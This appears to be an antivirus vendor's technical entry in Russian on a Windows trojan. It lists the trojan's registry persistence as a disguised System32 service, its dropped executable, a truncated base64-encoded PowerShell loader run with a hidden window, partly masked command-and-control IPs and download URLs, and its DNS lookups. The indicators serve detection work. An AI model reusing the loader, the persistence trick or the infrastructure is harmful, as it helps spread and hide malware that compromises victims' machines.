Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\d3d8thk] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\d3d8thk] 'ImagePath' = '"<SYSTEM32>\xactengine2_9\d3d8thk.exe"'
- 'd3d8thk' "<SYSTEM32>\xactengine2_9\d3d8thk.exe"
- 'd3d8thk' <SYSTEM32>\xactengine2_9\d3d8thk.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABTAG8AYgBhAHUANABwAD0AKAAnAEsAbgAnACsAKAAnADUAZAAnACsAJwA2AGQAYQAnACkAKQA7ACYAKAAnAG4AJwArACcAZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAGUATgBWADoAVABlAG0AcABcAHcATwBSAGQAXAAyADAAMQA5AFwAIAAtAG...
- %TEMP%\word\2019\u4cjf5lx.exe
- <SYSTEM32>\xactengine2_9\d3d8thk.exe
- %TEMP%\word\2019\u4cjf5lx.exe в <SYSTEM32>\xactengine2_9\d3d8thk.exe
- '82.##9.200.118':80
- '18#.#1.158.15':8080
- http://ka###-sd.com/admin/nlYFI/
- http://ki###1tours.com/pdf/lwuqKsRgijhXw/
- http://18#.##.158.15:8080/N6ujIufnas99b/tpblxQ/f8fgzss5MuBwJC/4Wjbd7H2HC52mM5PR/gucpVgA5/5CXPNFCz2HA/ via 18#.#1.158.15
- DNS ASK ka###-sd.com
- DNS ASK ki###1tours.com
- '%TEMP%\word\2019\u4cjf5lx.exe'
- '<SYSTEM32>\xactengine2_9\d3d8thk.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABTAG8AYgBhAHUANABwAD0AKAAnAEsAbgAnACsAKAAnADUAZAAnACsAJwA2AGQAYQAnACkAKQA7ACYAKAAnAG4AJwArACcAZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAGUATgBWADoAVABlAG0AcABcAHcATwBSAGQAXAAyADAAMQA5AFwAIAAtAG...' (со скрытым окном)